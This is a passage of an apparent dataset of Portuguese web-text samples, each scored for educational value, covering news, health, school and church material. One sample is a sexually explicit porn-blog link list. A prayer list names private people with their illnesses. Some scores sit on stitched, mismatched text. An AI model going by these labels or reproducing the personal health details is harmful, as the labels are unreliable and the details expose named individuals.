com o que praticou uma conduta ilícita”. +No entendimento do juiz, foi comprovado um abalo ao interesse jurídico do pai, pois teve seu direito fundamental à convivência familiar prejudicado pela conduta da genitora. +“A alienação parental promovida pela requerida resultou no prejuízo ao exercício desse direito potestativo pelo autor, o que, inclusive, se repetiu depois de proferida a r. sentença em tela.” +Nesse sentido, julgou procedente a demanda para condenar a genitora ao pagamento de R$ 10 mil a título de danos morais.",original,original,original,original,3,0.6 +"Assim que possível, mu-órra e depois encaminhe-se para o inferno.",original,original,original,original,0,0.0 +"22/05/2013 - Cientistas põem chips em formigas e descobrem divisão de funções +Segundo o estudo publicado na revista Science, os biólogos marcaram com chips formigas de seis colônias, cada uma com mais de cem espécimes. Elas foram colocadas em recintos planos e sua movimentação foi gravada por uma câmera instalada em cima do recipiente. +Ascensão social e restrição de contato +No entanto, o estudo publicado na “Science” ainda não deixa claro como funciona a transição de cargos, já que foi possível identificar formigas mais velhas nas funções que seriam, em princípio, para as mais jovens. +Foto: Alessandro Crespi/Science",original,original,original,original,2,0.4 +"91201-60110 Rug from Intrigue by Karastan | PlushRugs.com +Karastan > Intrigue > 91201-60110 +Price Match Inquiry for 91201-60110 +91201-60110 (Aquamarine) +91201-60110 Details",original,original,original,original,0,0.0 +"Mestre Didi será homenageado hoje na Assembleia Legislativa da Bahia | Classe Politica +Mestre Didi será homenageado hoje na Assembleia Legislativa da Bahia +6 de novembro de 2017 classepolitica 208 Views +A Assembleia Legislativa da Bahia realiza nesta segunda-feira(06), um Sessão Especial em homenagem ao centenário de Deoscóredes Maximiliano dos Santos, mais conhecido como Mestre Didi. A Sessão especial foi proposta pela deputada estadual Fabíola Mansur(PSB). +Filho de Maria Bibiana do Espírito Santo (a Mãe Senhora do Ilê Axé Opô Afonjá) e Arsênio dos Santos, Deoscóredes Maximiliano dos Santos nasceu em Salvador, em 2 de dezembro de 1917. Mais conhecido como Mestre Didi, foi sacerdote, escultor e escritor, com grandes contribuições nas três faces de sua vida religiosa e intelectual. Com exposições no Brasil e no exterior, ganhou diversos prêmios e foi um dos mais importantes sacerdotes do culto aos egunguns no mundo. Mestre Didi morreu em 6 de outubro de 2013 e deixou como viúva a antropóloga Juana Elbein dos Santos. +Mestre Didi construiu uma relação estreita com o continente africano, principalmente com o reino Ketu. Recebeu o título de Alapini, o mais alto do culto aos egunguns, e fundou em 1980 o Ilê Asipá, ainda em atividade. Em uma das suas visitas à África, ele teve o reconhecimento de Alaketu, Rei do Ketu, sendo convidado como membro da família e não como um mero visitante. Sua iniciação sacerdotal se deu aos 7 anos. De presença mítica na Bahia, tornou-se o Sumo Sacerdote Alapini – Ipekun Oye, a mais alta hierarquia no culto aos ancestrais na tradição Iorubá”, informa Fabíola. +Memória – Aos 55 anos de idade, Mestre Didi fundou o candomblé de culto aos ancestrais Ilê Asipá, situado em uma das transversais da Rua Orlando Gomes, em Salvador. Os Asipás, caçadores ligados a Oxóssi, transmitem a ideia de segurança. Não por acaso, as obras do Mestre Didi assimilam signos do candomblé e têm relação direita com os orixás e os elementos da natureza. +“Mestre Didi sempre foi um homem voltado para a cultura e a vida afro-brasileira, desde os muitos livros que publicou sobre o culto dos ancestrais, no qual tinha o honroso cargo de Alapini. Foi um artista escultor de lindas obras, cuja temática falava desse extraordinário universo das coisas da África mítica, onde os deuses estão na terra, e por isso suas esculturas eram totêmicas, saíam do chão para alcançar o infinito”, escreveu o artista e diretor-curador do Museu Afro Brasil, Emanoel Araújo, no texto de despedida “Um Adeus ao Alapini”. As obras de Didi têm destaque no acervo permanente do Museu Afro Brasil, no Parque Ibirapuera, em São Paulo. +Na justificativa do projeto para comemorar o centenário de Mestre Didi na ALBA, Fabíola Mansur escreveu sobre a grandiosa contribuição de Mestre Didi às artes no país, sua vigorosa obra escultórica e completou: Seu primeiro livro, “Yorubá tal Qual se Fala”, foi lançado em 1946. Mestre Didi possui livros editados em português, espanhol, inglês, francês e yorubá. Sua obra literária está reunida em volumes como “Contos Negros da Bahia” (1961) e “Contos de Nagô” (1963), da editora G.R.D., dentre outros. Com várias premiações, suas obras são disputadas por galerias de arte e avalizadas por nomes como Jorge Amado e Emanoel Araújo. Em 1989, as esculturas de Mestre Didi se destacaram na célebre exposição Magiciens de la Terre, no Centro Georges Pompidou, em Paris, um momento decisivo para o reconhecimento internacional de seu trabalho. Com o tempo, passou a ser estudado por historiadores, linguistas e críticos de arte e de literatura”. +“Por sua vida e pela preservação da memória afro-brasileira e aos cultos de matriz africana, Mestre Didi merece todas as homenagens da Bahia e da nossa Assembleia Legislativa pela passagem do seu centenário de nascimento”, disse a parlamentar. +Previous ACM Neto lança hoje Salvador 360 Cidade Sustentável +Next Medidas provisórias dominam pauta da Câmara para esta semana +Tags ALBAFabíola Mansurmestre Didi +Saiba como votou c...",original,original,original,original,2,0.4 +"Doutor G | Kiko is Hot - marotice oral, sinais errados, esguichamento precoce ~ Por Falar Noutra Coisa +Autor +Livros +Stand Up Comedy +Falta de Chá +Podcast +Contactos +Menu +9 de fevereiro de 2021 +Doutor G | Kiko is Hot - marotice oral, sinais errados, esguichamento precoce +Mais um episódio do vosso consultório sentimental e sexual preferido que agora passou a ser em vídeo e com convidados. Esta semana recebo o Kiko is Hot e falamos de muitas coisas, entre as quais javardice com classe e funaná pelado com eloquência. Há ainda espaço para rubricas e um desafio final para o convidado que vai testar os seus conhecimentos sexuais, tanto teóricos como práticos. Espero que gostem, subscrevam e partilhem e para a semana há mais.",original,original,original,original,0,0.0 +"Segurança na internet power point by turma4N 20313 views +, Teacher at Prefeitura Municipal de Indaiatuba +Material elaborado para que os professores possam desenvolver atividades em sala de aula sobre Navegação Segura na Internet. +1. Profª Daniela C. P. Matias +2.  Conscientizar os alunos sobre o uso seguro da internet em sala de aula;  Informar os pais sobre os cuidados que devem ter com os filhos em relação ao acesso a internet;  Observar recursos linguísticos e gráficos utilizados em charges e histórias em quadrinhos;  Explorar a internet como uma ferramenta pedagógica. +3.  Alunos do 4º ano do Ensino Fundamental. Conteúdos Abordados  Língua Portuguesa e Informática. +4. Queridos alunos,  Estamos desenvolvendo várias atividades em nossa escola onde usamos como ferramenta pedagógica o computador e o acesso à internet como fonte de pesquisa.  Durante o desenvolvimento das atividades, vocês terão a oportunidade de conhecer um universo mágico, cheio de novos conteúdos e conhecimentos.  Entretanto, assim como na vida real, na internet também precisamos tomar alguns cuidados para tornar o acesso aos sites e as redes sociais cada vez mais seguro. +5.  Você pode e deve utilizar a internet como fonte de pesquisa, porém não pode fazer cópias dos materiais e sempre que utilizar algum dado, deve citar a fonte e o autor do material utilizado. +6.  Infelizmente, muitas pessoas utilizam a internet de maneira errada e acabam publicando informações erradas. Por isso, sempre antes de realizar uma pesquisa confira se a informação está correta. +7.  Nunca publique algo na internet que não seja verdadeiro ou que possa ofender alguém. Mensagens desrespeitosas e preconceituosas não são toleráveis. +8.  Sim, existem várias regras que devem ser seguidas para utilizarmos a internet, e recentemente foi criada a Lei intitulada Marco Civil que regulamenta seu uso. +9.  Seguindo as dicas até aqui apresentadas, seu acesso aos sites e as redes sociais será muito mais seguro e tranquilo.  Lembre-se sempre: “ Nem tudo o que parece é, por isso cheque tudo antes de publicar ou de realizar alguma pesquisa”. +10.  http://new.netica.org.br/educadores  http://gizmodo.uol.com.br/marco-civil-comeca- a-valer-hoje",original,original,original,original,4,0.8 +"- Usando o Item ""Tubo de Ensaio de Hormônios"" entregue por Beck +Fale com ""Beck"" para relatar o andamento da Quest.",original,original,original,original,0,0.0 +"Martinho Lutero morreu no dia 18 de fevereiro de 1546, na cidade de Eisleben, aos 62 anos. Suas ideias, contudo, permaneceram. Apesar da oposição e ameaças da Inquisição– movimento que ganhou força na primeira metade do século 16 e aterrorizou a Europa com suas práticas de exceção e métodos violentos –, sua obra espalhou-se pelo Velho Mundo. O movimento reformista cresceu excepcionalmente em nações como Inglaterra, França, Escócia, Países Baixos e Escandinávia. Séculos mais tarde, missionários oriundos desses países levaram o protestantismo à América, à África, à Ásia e “até aos confins da terra”, conforme a recomendação do próprio Jesus. As sementes da Igreja Evangélica mundial estavam lançadas. +Neste ano, quando se completam 500 anos da obra do reformador, o contexto teológico e a influência de seu legado continuam fundamentais. Os conceitos principais da obra luterana, como justificação pela fé e pela graça de Deus, prevalência das Escrituras Sagradas sobre a tradição e o sacerdócio universal dos crentes, são reconhecidos por todas as denominações protestantes em sua própria tradição histórica – inclusive, e em larga medida, pelo pentecostalismo. O legado de Martinho Lutero é, por isso, o elo de fé comum entre milhões de crentes no mundo inteiro.",original,original,original,original,4,0.8 +"Olá, pequenos exploradores! Já pararam para pensar em como o corpo humano é uma máquina fantástica? Ele nos permite correr, pular, pensar, sentir e fazer um monte de coisas incríveis todos os dias! Vamos embarcar em uma aventura para descobrir como essa máquina funciona? + +Imagine que você é um carro de corrida. Para correr rápido, precisa de combustível, certo? Nosso ""combustível"" é a comida! Quando comemos frutas, legumes, carnes e grãos, estamos dando ao nosso corpo a energia que ele precisa para funcionar. Essa energia nos ajuda a brincar, estudar e até mesmo a respirar! Mas não basta só comer. Precisamos de uma equipe de mecânicos trabalhando sem parar dentro de nós para transformar a comida em energia utilizável. Essa equipe são os nossos órgãos, como o estômago e os intestinos. + +O estômago é como um liquidificador gigante que quebra os alimentos em pedaços menores. Depois, os intestinos, que são como longos túneis, absorvem tudo de bom que tem na comida e mandam para o sangue. O sangue, por sua vez, é como um caminhão que leva esses nutrientes para todas as partes do nosso corpo, desde o dedão do pé até o cérebro! E o que acontece com o que não precisamos? Vai embora através do cocô e do xixi. É importante lembrar de beber bastante água para ajudar nessa limpeza! + +Além da comida, precisamos do ar que respiramos. Nossos pulmões são como balões que enchem e esvaziam a cada respiração. Eles pegam o oxigênio do ar, que é como um superpoder, e jogam no sangue para dar mais energia para nossas células. Por isso, é tão importante respirar ar puro e fazer exercícios ao ar livre! + +Agora, imagine que o seu corpo precisa se defender de um ataque de monstrinhos invisíveis, os germes! Para isso, temos um exército de soldadinhos chamados glóbulos brancos, que estão sempre prontos para lutar contra qualquer invasor. E como podemos ajudar esses soldadinhos? Lavando as mãos com água e sabão, tomando banho todos os dias e comendo alimentos saudáveis! + +Cuidar do nosso corpo é como cuidar de um jardim. Precisamos regar com água, adubar com comida boa e proteger das pragas. Quando cuidamos bem do nosso corpo, ele fica forte, saudável e pronto para todas as aventuras que a vida nos reserva. E você, como tem cuidado da sua máquina humana? Lembre-se de comer frutas e legumes coloridos, beber bastante água, fazer exercícios e dormir bem. Assim, você terá energia para brincar, aprender e explorar o mundo!",Ciências,Corpo humano e saúde,anos iniciais (1º ao 5º ano),"O texto possui alto valor educacional para os anos iniciais do ensino fundamental. Apresenta informações básicas sobre o funcionamento do corpo humano de forma lúdica e acessível, utilizando analogias como carro de corrida e exército de soldadinhos para explicar conceitos como alimentação, respiração e sistema imunológico. Estimula hábitos saudáveis e o cuidado com o corpo, adequados para essa faixa etária. O texto é claro, consistente e relevante para o currículo escolar, as informações apresentadas são pertinentes a este nível de ensino.",5,1.0 +"Bacharel em Ciência da Computação pela faculdade Cesufoz, Foz do Iguaçu , Paraná, atualmente trabalhando com desenvolvimento de sistemas em java J2SE e J2EE, membro e moderador do Portal Java.com.",original,original,original,original,1,0.2 +"O e-Aulas é um serviço aberto a todos, ou seja, você não precisa fazer parte da comunidade USP para ter acesso ao conjunto de conteúdos aberto ao público. +Para usufruir de determinadas facilidades (exemplos: organização de playlists, ferramentas de anotações e etc.), recomendamos que os estudantes realizem seu acesso em modo logado no sistema: +Caso você seja aluno ou funcionário da USP basta informar seu número USP e senha USP para validar seu acesso no sistema e poder liberar seu acesso a determinados conteúdos de acesso exclusivo. +Caso você não seja membro da comunidade USP, não tem problema, é possível que você faça seu cadastro no eAulas USP para poder usufruir de determinados recursos que requeiram acesso logado na plataforma. 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A ferramenta de anotações permite que você marque e comente trechos de uma aula para usá-los depois como complementações aos seus estudos. +É estudante de outras instituições de ensino? não tem problema, estes recursos também poderão ser utilizados por você gratuitamente, mediante o preenchimento de um cadastro.",original,original,original,original,2,0.4 +"De olho na mala by Boys Suburbanos. Confira galeria de fotos com homens tesudos mostrando o pau marcado na cueca, calção ou sunga. +Boys Suburbanos +amadorbermuda calçãoCafuçu da gemacafuçu do Brasilcafuçu mostrando à rolacafuçusde olho na malagaroto da favela +Navegação de Post +Previous Post:Ontem eu tinha 17 – pica grossa leitando o lek +Next Post:Leonel o favelado pauzudo mamando +Search for: +Search +PARCEIROS +101 Boy Vídeo +123 Gay Porn +Atração por Bermudas +Avalie Meu Pau Novo +Blog da Porra +Boy Collector +Bananas Boys Hot +Boys na Net +Branco quer Negro +Brodagem Pornô Gay +Blog Tesão G +Bananas Famosas +Boy´s Reserva +Caminhoneiro Pelado +Contos Eróticos do Banana +De Olho nos Jogadores +DoCaralho +Top Vídeos Gay +Eros and Dionysus +Fav Gay Porn +Fetiche Chinelos Brasil +Famous Male Exposed +Galáxia Gay +Garotos Dotados +Garotos Roludos | Pornô Gay | +Garotos 10 +Gula Gay +Gay Bananas Brasil +Gay MachoTube +Gay Porn Cocks +Gay Tail +Porno Gay +Gay Safado +Handi Gay des Pyrénées +Homens Pelados (Naked Men) +Hentai Gay +Man Collector +Mundo macho gifs +Maxile +Meu Sexo Gay +My Own Private Locker Room +Moleques e rolas +Na Cama com Rafa +Na Hora G +NervoH +NOvinhos TEsudinhos +Nudes e Cia +Only Hot Guys +Pornstar Brasil +Porn Website Links +Pirocas na Net +Ponto de Vista – Prive Gay +Porno Gay +Punheta Entre Amigos +Punheta Jovem +Punheteiros Héteros Fortaleza +RandoMale +Safadinhos BR +Sexo Gay Net +Só Novinhos +Sexo Gay TV +Só Dotados |Blog| +Sexo Gay Blog +Testosterona GayPorno gay TV +Top Galáxia +Tesão G! +Xngay +xvideos +Contato | DMCA +Todo conteúdo aqui postado é selecionado da Internet. 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As diarreias podem ser classificadas em aguda (quando dura até 14 dias), persistente (duração superior a 14 dias) e crônica (quando ultrapassa três semanas). +Quais são as causas das diarreias? +As diarreias podem ter causas infecciosas (vírus1 ou bactérias), parasitárias, alérgicas, medicamentosas ou inflamatórias intestinais. Diarreias episódicas e passageiras podem ocorrer por excesso de ingestão de gordura2 ou de outras substâncias não absorvíveis. +Quais são os sinais3 e sintomas4 das diarreias? +O sinal5 capital de uma diarreia6 é o número aumentado de evacuações de consistência amolecida, pastosa ou mesmo líquida. +Nas diarreias por infecção7, geralmente as fezes assumem um odor fétido e normalmente há febre8, perda de energia e do apetite. Se a causa da diarreia6 for um vírus1, pode também haver cãibras, náuseas9, vômitos10, dor de cabeça11 e febre8. Algumas diarreias acompanham-se de cólicas12, mais ou menos intensas. Menos frequentemente pode haver a presença de pus13 ou de sangue14 nas fezes. +Uma diarreia6 pode conduzir à desidratação15, devido à perda acentuada de água e sais minerais, o que é acentuado pela presença frequente de vômitos10. A desidratação15 pode provocar olhos16 encovados, rachadura dos lábios, secura da boca17 e da pele18, saliva espessa, sede excessiva, pulso fino, letargia19, depressão sensorial, sonolência e confusão mental, na dependência da sua intensidade. +Nas crianças, pode-se observar que a fralda fica seca por mais de três horas e que há um intervalo de mais de seis horas sem urinar, bem como fraqueza geral, choro fraco, irritabilidade e indisposição para brincar. +Como o médico diagnostica as diarreias? +Grande número de diarreias não chega a demandar intervenção médica. No entanto, quando elas são mais intensas e duradouras ou quando se acompanham de determinados sintomas4 como cólicas12, vômitos10 intensos e desidratação15, o médico se valerá dos relatos do paciente sobre a duração da diarreia6, a frequência e o volume das evacuações, o odor das fezes, o aspecto e cor delas, a presença ou não de muco, pus13 ou sangue14, etc. +Quais são as recomendações e os cuidados úteis em caso de diarreia6? +Beber 2 a 3 litros de líquidos por dia. Repor a perda de sódio e potássio com soro20 caseiro. +Preferir arroz, caldos de carne magra, bananas, maçãs e torradas. +Evitar saladas, bagaço de frutas e fibras. +Chás de camomila, erva-doce e hortelã podem ajudar a aliviar os sintomas4 e melhoram a hidratação. Evite café, leite, sucos de frutas e álcool. +Evitar alimentos com alto teor de gordura2 (frituras, carnes, embutidos, chocolate, etc.) e açúcar21. +Não fazer uso de adoçantes à base de sorbitol22. +Lavar bem as mãos23, especialmente antes das refeições e após cada evacuação. +Usar copos e utensílios limpos. +Se precisar, faça gelo com água tratada ou fervida. +Evitar leite e derivados. +Quando devo procurar um médico quando estou com diarreia6? +Você deve procurar um médico em casos de diarreia6 quando: +Os sintomas4 não cederem em um ou dois dias. +Quando há sinais3 de desidratação15. +Houver presença de sangue14 nas fezes ou se elas adquirirem coloração preta. +As fezes mostrarem traços evidentes de muco, de pus13 ou de gordura2. +As evacuações forem repetidas muitas vezes por dia. +As evacuações se alternarem com crises de prisão de ventre. +Nesses casos, a diarreia6 pode ser uma manifestação de enfermidades que precisam ser diagnosticadas. +Como é o tratamento das diarreias? +O tratamento das diarreias depende da causa. Alguns cuidados com a alimentação são importantes. +No caso dos bebês24, deve-se diminuir a ingestão de leite e oferecer papas com água fervida, a não ser quando o bebê ainda se alimenta exclusivamente de leite materno. +Para as crianças mais velhas e os adultos, são permitidos alimentos sólidos e secos (arroz, batatas, cereais sem açúcar21, etc.), bolachas salgadas e torradas. Al...",original,original,original,original,4,0.8 +"Fotos da IBC: Motivos de Oração em 24Mar2013 +Motivos de Oração em 24Mar2013 +Motivos de Oração do MG. Oração, distribuído a membros e congregados da igreja por meio dos seus emails. +Quarta 27.03 – Culto matutino/ Das 06:00 às 07:00 hs da manhã, no templo. +MINISTÉRIO DE ORAÇÃO EM 24.03.2013 +*Motivos agradecimentos específicos: - Por os projetos de expansão do Evangelho do Reino das juntas de missões nacional e mundial, por a capacitação e a saúde espiritual, física, emocional e financeira dos missionários e por as vidas alcançadas por meio deles, por os promotores, intercessores e sustentadores de missões. +. Motivo de Aniversário: – 25 Enivaldo Melo e Henrique França/ 26 Andressa Pereira/ 29 Weferson Pereira/ 30 Karen Moreira e Valentine Souza e 31 Laine Rios. +. Motivos de Enfermidades – Por a saúde física da irmã Isabel Berteli/ Por o tratamento da irmã Anália Pinheiro (Igreja Batista Jardinopólis – câncer) Por a recuperação do irmão Evandro Andrade (problema de AVC)/ Pela recuperação de Ângela Trajano (cirurgia no joelho) / Por Jonathas sobrinho da irmã Eurides Cruz (cirurgia retira de nódulo )/ Por o tratamento de Fabiana suspeita de barriga d’água (Volta Miúda). +. Motivos Pessoais – Por Rosangela irmã de Fátima e cunhado do irmão Evandro Andrade (conforto espiritual pela morte do Filho)/ Por a vida espiritual , física e família dos visitantes: - Alcione Silva, Alex Serapião, Athos Daniel, Carlos Santos, Charles Dias, Davi Santos, Elisangela Dias, Ester Santos, Geiciane Rodrigues, Ingrid Costa, Iohorrand Koelher, Jader Guerra, Janine Santana, José Flávio Barreto, Joziane Teixeira, Luciano santos, Luiz Felipe Onofre +Luzineide Lima, Monalisa Soares, Nailde Koelher, Osvaldo Luiz, Paulo Vitor de Jesus, Rogerio Santos, Rosangela Santos, Rosegleiver Lima, Rosemary Bouletto, Samuel Gomes, Tatiana Sato e Vanuci Silva. +. Oração nas empresas: - Por a Rede de Ensino Público e Privado de Teixeira de Freitas, por o ambiente de trabalho e relacionamento de respeito e parceria entre lideranças, funcionários, educadores, educandos e famílias. +. Pedidos Específicos de Oração nos Hospitais: - Por o tratamento de Anália Rebouça (Itamarajú – câncer).",original,original,original,original,1,0.2 +"Vestibular » 2010 » maio +Aulão de revisão! +0 O Pré-Vestibular da UFSC vai oferecer um aulão de revisão pros vestibulares de inverno no próximo sábado, dia 29. Para participar, é preciso se inscriver no site do cursinho até sexta-feira, 28. São 1.350 vagas. +O aulão vai ser no Centro de Eventos da UFSC, das 9h às 12h e das 13h às 18h30min. No dia do evento, o aluno deverá apresentar o comprovante de inscrição, além de R$ 3 ou um quilo de alimento não-perecível. As doações serão revertidas para instituições beneficentes de Santa Catarina. +0 A nossa vesitbulanda DC, Thayse Coan, lembra que hoje é dia do Vestibulando! Parabéns a todos vocês que estão encarando esse ano tão atípico. +Ela ainda lembra que falta uma semana para a prova da Udesc! Boa sorte a todos. +Vice-presidente da OAB-SC falou, em chat, sobre os desafios da profissão de Direito +0 Você sonha em estudar ou já cursa Direito? Então, confira o chat realizado pelo DC Online com Márcio Vicari, vice-presidente da Ordem dos Advogados do Brasil de Santa Catarina (OAB-SC). O bate-papo aconteceu nesta sexta-feira, às 11h. Por 40 minutos, Vicari, que é professor universitário e já atuou como juiz do Tribunal Regional Eleitor, falou sobre os desafios da profissão. Entre os tópicos abordados, está o Exame da Ordem e o Projeto Jovem Advogado, um programa especial que facilita o início de carreira. Acompanhe o que Márcio Vicari disse no quadro abaixo: +Chat sobre a profissão de Direito +Vice-presidente da OAB-SC conversa com internautas sobre a profissão de Direito +0 Márcio Vicari, vice-presidente da Ordem dos Advogados do Brasil de Santa Catarina (OAB-SC), participa de chat às 11h desta sexta-feira no diario.com.br. Ele conversará sobre a carreira na advocacia. Professor universitário no mercado há 16 anos, Vicari foi juiz do Tribunal Regional Eleitor durante quatro anos. Na conversa com os internautas, o vice-presidente da OAB esclarece as dúvidas de quem pretende fazer o curso de Direito e conta quais os desafios da profissão. Chat sobre a profissão de Direito +Retorno e transferência na UFSC +0 A UFSC divulgou o edital de transferências e retornos para o segundo semestre de 2010. São 757 vagas em 40 cursos. Interessados devem fazer o requerimento até o dia 28 de maio. +O estudante pode pedir transferência interna, externa e retorno. O edital pode ser lido aqui. +Mais informações com o DAE: (48) 3721-9707. +Amanhã, no DC +0 Galera, se liga no Diário Catarinense de amanhã. +Tem caderno de Vestibular com dicas para superar os principais medos de quem vai fazer a prova. +Outra dica é a coluna Profissão, que traz uma entrevista com o vice-presidente da OAB-SC e mostra como anda o mercado de trabalho para quem quer fazer Direito. +Confere lá e depois passa aqui pra dizer qual o teu bicho-papão quando o assunto é vestibular. +Simulado Kzuka abre inscrições para vestibulandos +0 Inscrições para as provas online poderão ser feitas no site www.simuladokzuka.com.br até 13 de junho +Vestibulandos que desejam testar seus conhecimentos antes do vestibular de inverno podem contar com o Simulado Online Kzuka. As inscrições gratuitas devem ser feitas pelo site www.simuladokzuka.com.br até 13 de junho. As provas serão realizadas de 14 a 17 de junho, com tempo e dias determinados. +As questões serão formuladas pelos professores do cursinho pré-vestibular Universitário e seguem o modelo do concurso da Universidade Federal do Rio Grande do Sul (UFRGS). Em 2009, a segunda edição do Simulado Online Kzuka contou 30 mil inscritos. +A correção, os gabaritos e a classificação dos alunos estarão disponíveis no site após o simulado. A página também conta com um blog com dicas dos professores do Universitário e oferece uma calculadora especial que, a partir de informações sobre o número de acertos em cada prova, simula a possibilidade de o candidato ser aprovado no curso que deseja, de acordo com as médias dos últimos classificados no vestibular 2010 da UFRGS. +14/06 – Física, Literatura e Língua Estrangeira +15/06 – Língua ...",original,original,original,original,2,0.4 +"As disciplinas de laboratório consistem em diversos experimentos com os quais se espera poder desenvolver no aluno o comportamento crítico diante dos fenômenos físicos. Os trabalhos de laboratório têm a finalidade de ilustrar os assuntos abordados no curso teórico e também de ensinar os rudimentos da técnica de observação dos fenômenos físicos, ou seja, como efetuar medidas, analisá-las e como apresentar os resultados obtidos. +As aulas têm duração de 2 horas, sendo ministradas semanalmente. +Cada turma será dividida em até 4 grupos para a realização das atividades no laboratório. Para a realização das experiências de cada aula, o aluno deverá ter em mãos esta apostila. A discussão com o professor e colegas é muito importante para esclarecer e completar as informações da apostila. É importante também que o aluno venha para a aula já sabendo qual a experiência que irá realizar e quais os seus fundamentos teóricos. +O beneficio que os trabalhos práticos podem proporcionar ao o aluno dependem em grande parte de seu interesse e de seu desempenho. O aluno deve aprender a prestar atenção no equipamento experimental disponível, procurando entender como funciona, quais suas limitações, suas imperfeições e como isso tudo influi no modelo físico que se quer testar. Antes de começar um experimento, a equipe precisa discutir como ele deverá ser feito. +A presença nas aulas é obrigatória. A ausência na aula implica em nota zero no relatório referente à experiência. Solicita-se aos alunos que respeitem rigorosamente o horário de início das aulas de laboratório. O atraso máximo permitido é de 15min, após os quais o aluno não mais terá acesso à aula. +1.1. 1.1. 1.1. 1.1. O RelatórioO RelatórioO RelatórioO Relatório +As características fundamentais de um Relatório são a objetividade e a clareza. Ele deve ser escrito de forma que outra pessoa, apoiando-se nele, possa repetir o experimento sem necessitar que o autor do texto esteja presente para decifrá-lo. +Departamento de Física, Universidade Federal de Sergipe +6 +Apostila de Laboratório de Física A +O Relatório deve respeitar sempre certos aspectos e normas indispensáveis para que o leitor possa entender imediatamente os pontos essenciais do trabalho feito na sala de aula. Sem ser prolixo, ele deve conter o maior número possível de informações sobre o que foi feito, como foi feito e os resultados alcançados. Apresentaremos a seguir uma sugestão de organização para o relatório. +Um relatório contém basicamente as seguintes partes: 1.Identificação: que deve consistir em uma capa com a indicação clara do título do trabalho, os nomes dos componentes do grupo, a turma de laboratório e a data da realização da experiência. 2.Introdução: Deve-se expor nesta parte o contexto do trabalho, a importância do tema, um pequeno histórico (se for o caso), a teoria envolvida e as correlações com outros assuntos. É importante que a introdução do relatório não seja cópia da Introdução da apostila. Pesquise outras fontes! 3. Objetivos: Nesta parte deve-se apresentar, de forma bem sucinta, os objetivos do trabalho; 4. Materiais e Métodos: Esta parte é dedicada à apresentação dos materiais e equipamentos utilizados, uma descrição do arranjo experimental montado e uma explicação minuciosa do procedimento experimental adotado. É aconselhável mostrar um esboço do aparato utilizado, para facilitar a compreensão do leitor. 6. Resultados e Discussão: Nesta parte é apresentada, primeiramente, uma tabela com os dados obtidos. Em seguida, vêm os cálculos, gráficos e discussões. É importante salientar que é obrigatória a apresentação das equações utilizadas, de forma que todos os valores apresentados possam ser recalculados pelo leitor. Não serão considerados resultados apresentados sem a devida explicação. 7.Conclusões: Esta parte é dedicada à apresentação sucinta dos principais resultados e das conclusões obtidas no trabalho. 8. Bibliografia: Todo relatório deve conter uma bibliografia, onde são listadas todas as referências consult...",original,original,original,original,4,0.8 +"3 São dois, direito com três lobos e esquerdo com dois lobos. São revestidos pela pleura. OBS: O CORAÇÃO FICA SITUADO NO ESPAÇO ENTRE OS PULMÕES CHAMADO, MEDIASTINO. +4 Na cavidade nasal o ar é aquecido e purificado. +5 Órgão comum ao sistema digestório e respiratório. +6 *Laringe – encontramos as cordas vocais. Caso a epiglote não feche a glote, que é a abertura da laringe, nós engasgamos. *Traquéia – apresenta cílios e muco. Formada por anéis cartilaginosos. *Brônquios- originam-se da bifurcação da traquéia. +7 +8 PSIU! Laringe É um tubo sustentado por peças cartilaginosas articuladas, situada na parte superior do pescoço. Pomo de adão cartilagem tireóide. Laringe Entrada da Laringe Glote e acima existe a cartilagem Epiglote impede que o alimento ingerido penetre nas VIAS RESPIRATÓRIAS O epitélio que a reveste apresenta pregas CORDAS VOCAIS que produzem sons durante a passagem de ar. +9 Os cílios e o muco da traquéia +10 Ramificações dos brônquios dentro dos pulmões. Local onde ocorre a hematose BRONQUÍOLOS ALVÉOLOS +11 +12 Quando o ar inspirado está extremamente seco, ocorre tosse, dificuldades para respirar e entrada de poeira nos pulmões. +13 +14 +15 ATENÇÃO! Quando inspiramos, a caixa torácica aumenta de volume, os músculos intercostais contraem-se e o diafragma se contrai e abaixa. Quando expiramos,ocorre exatamente o contrário +16 VIROSES – RESFRIADOS E GRIPES +17 PNEUMONIA E TUBERCULOSE +18 A pneumonia é uma infecção dos pulmões. Seus sintomas são: febre alta, dores no peito,falta de ar e catarro às vezes com sangue. +19 A bactéria da tuberculose, pode atacar rins, ossos e cérebro porém, os pulmões são os primeiros a serem atacados pois, o sistema respiratório é a porta de entrada. A TUBERCULOSE PULMONAR É UMA DAS DOENÇAS INFECCIOSAS QUE MAIS MATAM NO MUNDO. +22 O que as autoridades de trânsito estão fazendo para diminuir os motoristas alcoolizados nas ruas? Fiscalização Teste do bafômetro (Moléculas de álcool são liberadas junto com o ar soprado no aparelho) +23 Quais são as penalidades para quem é flagrado dirigindo após beber? +24 Existem métodos para acelerar essa eliminação? NÃO! Café forte, ducha de água fria, exercícios físicos, nada disso funciona. Eles podem mantê-lo desperto, mas o álcool ainda estará afetando suas condições e será registrado pelo bafômetro. +25 Estatísticas revelam que os fumantes têm: 10 vezes mais chance de adoecer de câncer de pulmão 5 vezes mais chance de sofrer infarto 5 vezes mais chance de sofrer de bronquite crônica e enfisema pulmonar 2 vezes mais chance de sofrer de derrame cerebral Nas mulheres fumantes, o cigarro associado a anticoncepcionais pode aumentar em 10 vezes o risco de derrame e infarto. Nas grávidas, a possibilidade de aborto espontâneo aumenta em 70% e a chance de o bebê nascer prematuro é de 40%. Ter um bebê com baixo peso é 200% mais comum entre as gestantes que fumam. +26 Benefícios ao parar de fumar: - Após 20 minutos: a pressão sangüínea e a pulsação voltam ao normal - Após 2 horas: não há mais nicotina circulando no sangue - Após 8 horas: o nível de oxigênio no sangue se normaliza - De 12 a 24 horas: os pulmões passam a funcionar melhor - Após 2 dias: o olfato assimila melhor os cheiros e o paladar melhora - Após 3 semanas: a respiração e a circulação ficam mais fáceis - Após 1 ano: o risco de morte por infarto reduz em 50% - Entre 5 e 10 anos: o risco de sofrer infarto é igual aos das pessoas que nunca fumaram Fonte: Instituto Nacional do Câncer e Ministério da Saúde",original,original,original,original,4,0.8 +"Na hora de definir como comprar um apartamento, saiba que não existe uma forma de pagamento ideal. O que existe é uma opção mais indicada para cada tipo de condição e necessidade do comprador. Essa decisão também pode depender do cenário econômico e do mercado imobiliário, então é importante saber sobre os pontos referentes a eles antes de negociar.Sendo assim, listamos aqui as formas de pagamento mais comuns do mercado para que você avalie a mais interessante para seu caso, e ao que deve estar atento. +Valorizada por muitos especialistas, a compra à vista proporciona diversos benefícios ao investidor, entre eles, um maior poder de negociação para garantir descontos no valor total do imóvel e mais tranquilidade com as contas controladas.Sem a necessidade de encarar parcelas com juros, esse método permite que 